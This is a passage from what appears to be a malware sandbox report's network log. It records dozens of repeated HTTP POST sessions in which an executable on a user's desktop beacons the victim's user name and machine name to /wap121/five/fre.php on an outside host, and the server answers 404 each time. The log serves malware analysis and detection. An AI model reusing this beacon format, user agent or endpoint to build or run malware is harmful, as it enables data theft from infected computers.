Feb 22, 2021 19:14:25.190963030 CET	6221	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 22 Feb 2021 18:14:25 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.2.34 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
63	192.168.2.4	49832	203.170.84.89	80	C:\Users\user\Desktop\Conan Fegan - Aluminium.exe

Timestamp	kBytes transferred	Direction	Data
Feb 22, 2021 19:14:25.733887911 CET	6222	OUT	POST /wap121/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: www.ritcophysiotherapy.com.au Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: AD291CE Content-Length: 163 Connection: close
Feb 22, 2021 19:14:26.068434000 CET	6222	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 39 00 31 00 30 00 36 00 34 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.rujones910646DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Feb 22, 2021 19:14:26.446412086 CET	6223	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 22 Feb 2021 18:14:26 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.2.34 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
64	192.168.2.4	49833	203.170.84.89	80	C:\Users\user\Desktop\Conan Fegan - Aluminium.exe

Timestamp	kBytes transferred	Direction	Data
Feb 22, 2021 19:14:27.016300917 CET	6224	OUT	POST /wap121/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: www.ritcophysiotherapy.com.au Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: AD291CE Content-Length: 163 Connection: close
Feb 22, 2021 19:14:27.351428986 CET	6224	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 39 00 31 00 30 00 36 00 34 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.rujones910646DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Feb 22, 2021 19:14:27.717015982 CET	6224	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 22 Feb 2021 18:14:27 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.2.34 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
65	192.168.2.4	49834	203.170.84.89	80	C:\Users\user\Desktop\Conan Fegan - Aluminium.exe

Timestamp	kBytes transferred	Direction	Data
Feb 22, 2021 19:14:28.298521042 CET	6225	OUT	POST /wap121/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: www.ritcophysiotherapy.com.au Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: AD291CE Content-Length: 163 Connection: close
Feb 22, 2021 19:14:28.636457920 CET	6225	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 39 00 31 00 30 00 36 00 34 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.rujones910646DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Feb 22, 2021 19:14:29.005323887 CET	6226	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 22 Feb 2021 18:14:28 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.2.34 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
66	192.168.2.4	49835	203.170.84.89	80	C:\Users\user\Desktop\Conan Fegan - Aluminium.exe

Timestamp	kBytes transferred	Direction	Data
Feb 22, 2021 19:14:29.542202950 CET	6227	OUT	POST /wap121/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: www.ritcophysiotherapy.com.au Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: AD291CE Content-Length: 163 Connection: close
Feb 22, 2021 19:14:29.876545906 CET	6227	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 39 00 31 00 30 00 36 00 34 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.rujones910646DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Feb 22, 2021 19:14:30.244988918 CET	6235	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 22 Feb 2021 18:14:30 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.2.34 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
67	192.168.2.4	49837	203.170.84.89	80	C:\Users\user\Desktop\Conan Fegan - Aluminium.exe

Timestamp	kBytes transferred	Direction	Data
Feb 22, 2021 19:14:30.810538054 CET	6239	OUT	POST /wap121/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: www.ritcophysiotherapy.com.au Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: AD291CE Content-Length: 163 Connection: close
Feb 22, 2021 19:14:31.145735979 CET	6240	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 39 00 31 00 30 00 36 00 34 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.rujones910646DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Feb 22, 2021 19:14:31.511131048 CET	6240	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 22 Feb 2021 18:14:31 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.2.34 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
68	192.168.2.4	49839	203.170.84.89	80	C:\Users\user\Desktop\Conan Fegan - Aluminium.exe

Timestamp	kBytes transferred	Direction	Data
Feb 22, 2021 19:14:32.137482882 CET	6250	OUT	POST /wap121/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: www.ritcophysiotherapy.com.au Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: AD291CE Content-Length: 163 Connection: close
Feb 22, 2021 19:14:32.474783897 CET	6251	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 39 00 31 00 30 00 36 00 34 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.rujones910646DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Feb 22, 2021 19:14:32.846445084 CET	6251	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 22 Feb 2021 18:14:32 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.2.34 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
69	192.168.2.4	49840	203.170.84.89	80	C:\Users\user\Desktop\Conan Fegan - Aluminium.exe

Timestamp	kBytes transferred	Direction	Data
Feb 22, 2021 19:14:33.411950111 CET	6252	OUT	POST /wap121/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: www.ritcophysiotherapy.com.au Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: AD291CE Content-Length: 163 Connection: close
Feb 22, 2021 19:14:33.749093056 CET	6252	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 39 00 31 00 30 00 36 00 34 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.rujones910646DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Feb 22, 2021 19:14:34.116691113 CET	6252	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 22 Feb 2021 18:14:33 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.2.34 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.4	49754	203.170.84.89	80	C:\Users\user\Desktop\Conan Fegan - Aluminium.exe

Timestamp	kBytes transferred	Direction	Data
Feb 22, 2021 19:13:12.128792048 CET	1543	OUT	POST /wap121/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: www.ritcophysiotherapy.com.au Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: AD291CE Content-Length: 163 Connection: close
Feb 22, 2021 19:13:12.465974092 CET	1543	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 39 00 31 00 30 00 36 00 34 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.rujones910646DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Feb 22, 2021 19:13:12.833798885 CET	1544	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 22 Feb 2021 18:13:12 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.2.34 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
70	192.168.2.4	49841	203.170.84.89	80	C:\Users\user\Desktop\Conan Fegan - Aluminium.exe

Timestamp	kBytes transferred	Direction	Data
Feb 22, 2021 19:14:34.725025892 CET	6253	OUT	POST /wap121/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: www.ritcophysiotherapy.com.au Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: AD291CE Content-Length: 163 Connection: close
Feb 22, 2021 19:14:35.073873043 CET	6254	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 39 00 31 00 30 00 36 00 34 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.rujones910646DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Feb 22, 2021 19:14:35.450486898 CET	6254	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 22 Feb 2021 18:14:35 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.2.34 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
71	192.168.2.4	49842	203.170.84.89	80	C:\Users\user\Desktop\Conan Fegan - Aluminium.exe

Timestamp	kBytes transferred	Direction	Data
Feb 22, 2021 19:14:36.028479099 CET	6255	OUT	POST /wap121/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: www.ritcophysiotherapy.com.au Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: AD291CE Content-Length: 163 Connection: close
Feb 22, 2021 19:14:36.364825964 CET	6255	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 39 00 31 00 30 00 36 00 34 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.rujones910646DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Feb 22, 2021 19:14:36.741519928 CET	6255	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 22 Feb 2021 18:14:36 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.2.34 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
72	192.168.2.4	49843	203.170.84.89	80	C:\Users\user\Desktop\Conan Fegan - Aluminium.exe

Timestamp	kBytes transferred	Direction	Data
Feb 22, 2021 19:14:37.334441900 CET	6256	OUT	POST /wap121/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: www.ritcophysiotherapy.com.au Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: AD291CE Content-Length: 163 Connection: close
Feb 22, 2021 19:14:37.668834925 CET	6257	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 39 00 31 00 30 00 36 00 34 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.rujones910646DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Feb 22, 2021 19:14:38.034826040 CET	6257	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 22 Feb 2021 18:14:37 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.2.34 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
73	192.168.2.4	49844	203.170.84.89	80	C:\Users\user\Desktop\Conan Fegan - Aluminium.exe

Timestamp	kBytes transferred	Direction	Data
Feb 22, 2021 19:14:38.623261929 CET	6258	OUT	POST /wap121/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: www.ritcophysiotherapy.com.au Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: AD291CE Content-Length: 163 Connection: close
Feb 22, 2021 19:14:38.961205006 CET	6258	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 39 00 31 00 30 00 36 00 34 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.rujones910646DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Feb 22, 2021 19:14:39.339082003 CET	6258	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 22 Feb 2021 18:14:39 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.2.34 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
74	192.168.2.4	49845	203.170.84.89	80	C:\Users\user\Desktop\Conan Fegan - Aluminium.exe

Timestamp	kBytes transferred	Direction	Data
Feb 22, 2021 19:14:39.953346014 CET	6259	OUT	POST /wap121/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: www.ritcophysiotherapy.com.au Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: AD291CE Content-Length: 163 Connection: close
Feb 22, 2021 19:14:40.299132109 CET	6260	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 39 00 31 00 30 00 36 00 34 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.rujones910646DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Feb 22, 2021 19:14:40.683614016 CET	6260	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 22 Feb 2021 18:14:40 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.2.34 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
75	192.168.2.4	49846	203.170.84.89	80	C:\Users\user\Desktop\Conan Fegan - Aluminium.exe

Timestamp	kBytes transferred	Direction	Data
Feb 22, 2021 19:14:41.267887115 CET	6261	OUT	POST /wap121/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: www.ritcophysiotherapy.com.au Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: AD291CE Content-Length: 163 Connection: close
Feb 22, 2021 19:14:41.603157043 CET	6261	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 39 00 31 00 30 00 36 00 34 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.rujones910646DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Feb 22, 2021 19:14:41.979253054 CET	6261	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 22 Feb 2021 18:14:41 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.2.34 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
76	192.168.2.4	49847	203.170.84.89	80	C:\Users\user\Desktop\Conan Fegan - Aluminium.exe

Timestamp	kBytes transferred	Direction	Data
Feb 22, 2021 19:14:42.561340094 CET	6262	OUT	POST /wap121/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: www.ritcophysiotherapy.com.au Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: AD291CE Content-Length: 163 Connection: close
Feb 22, 2021 19:14:42.895849943 CET	6263	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 39 00 31 00 30 00 36 00 34 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.rujones910646DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Feb 22, 2021 19:14:43.262561083 CET	6263	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 22 Feb 2021 18:14:43 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.2.34 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
77	192.168.2.4	49848	203.170.84.89	80	C:\Users\user\Desktop\Conan Fegan - Aluminium.exe

Timestamp	kBytes transferred	Direction	Data
Feb 22, 2021 19:14:43.857917070 CET	6264	OUT	POST /wap121/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: www.ritcophysiotherapy.com.au Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: AD291CE Content-Length: 163 Connection: close
Feb 22, 2021 19:14:44.196196079 CET	6264	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 39 00 31 00 30 00 36 00 34 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.rujones910646DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Feb 22, 2021 19:14:44.564707994 CET	6265	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 22 Feb 2021 18:14:44 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.2.34 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
78	192.168.2.4	49849	203.170.84.89	80	C:\Users\user\Desktop\Conan Fegan - Aluminium.exe

Timestamp	kBytes transferred	Direction	Data
Feb 22, 2021 19:14:45.133831978 CET	6266	OUT	POST /wap121/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: www.ritcophysiotherapy.com.au Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: AD291CE Content-Length: 163 Connection: close
Feb 22, 2021 19:14:45.479481936 CET	6266	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 39 00 31 00 30 00 36 00 34 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.rujones910646DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Feb 22, 2021 19:14:45.854491949 CET	6267	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 22 Feb 2021 18:14:45 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.2.34 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
79	192.168.2.4	49850	203.170.84.89	80	C:\Users\user\Desktop\Conan Fegan - Aluminium.exe

Timestamp	kBytes transferred	Direction	Data
Feb 22, 2021 19:14:46.440406084 CET	6268	OUT	POST /wap121/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: www.ritcophysiotherapy.com.au Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: AD291CE Content-Length: 163 Connection: close
Feb 22, 2021 19:14:46.785778046 CET	6268	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 39 00 31 00 30 00 36 00 34 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.rujones910646DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Feb 22, 2021 19:14:47.171031952 CET	6268	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 22 Feb 2021 18:14:47 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.2.34 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.2.4	49755	203.170.84.89	80	C:\Users\user\Desktop\Conan Fegan - Aluminium.exe

Timestamp	kBytes transferred	Direction	Data
Feb 22, 2021 19:13:13.445902109 CET	1545	OUT	POST /wap121/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: www.ritcophysiotherapy.com.au Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: AD291CE Content-Length: 163 Connection: close
Feb 22, 2021 19:13:13.780885935 CET	1545	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 39 00 31 00 30 00 36 00 34 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.rujones910646DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Feb 22, 2021 19:13:14.146862984 CET	1545	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 22 Feb 2021 18:13:14 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.2.34 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
80	192.168.2.4	49851	203.170.84.89	80	C:\Users\user\Desktop\Conan Fegan - Aluminium.exe

Timestamp	kBytes transferred	Direction	Data
Feb 22, 2021 19:14:47.730696917 CET	6269	OUT	POST /wap121/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: www.ritcophysiotherapy.com.au Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: AD291CE Content-Length: 163 Connection: close
Feb 22, 2021 19:14:48.079566956 CET	6270	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 39 00 31 00 30 00 36 00 34 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.rujones910646DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Feb 22, 2021 19:14:48.464941978 CET	6270	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 22 Feb 2021 18:14:48 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.2.34 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
81	192.168.2.4	49852	203.170.84.89	80	C:\Users\user\Desktop\Conan Fegan - Aluminium.exe

Timestamp	kBytes transferred	Direction	Data
Feb 22, 2021 19:14:49.051549911 CET	6271	OUT	POST /wap121/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: www.ritcophysiotherapy.com.au Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: AD291CE Content-Length: 163 Connection: close
Feb 22, 2021 19:14:49.390254974 CET	6271	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 39 00 31 00 30 00 36 00 34 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.rujones910646DESKTOP-716T77108F9C4E9C79A3B52B3F739430
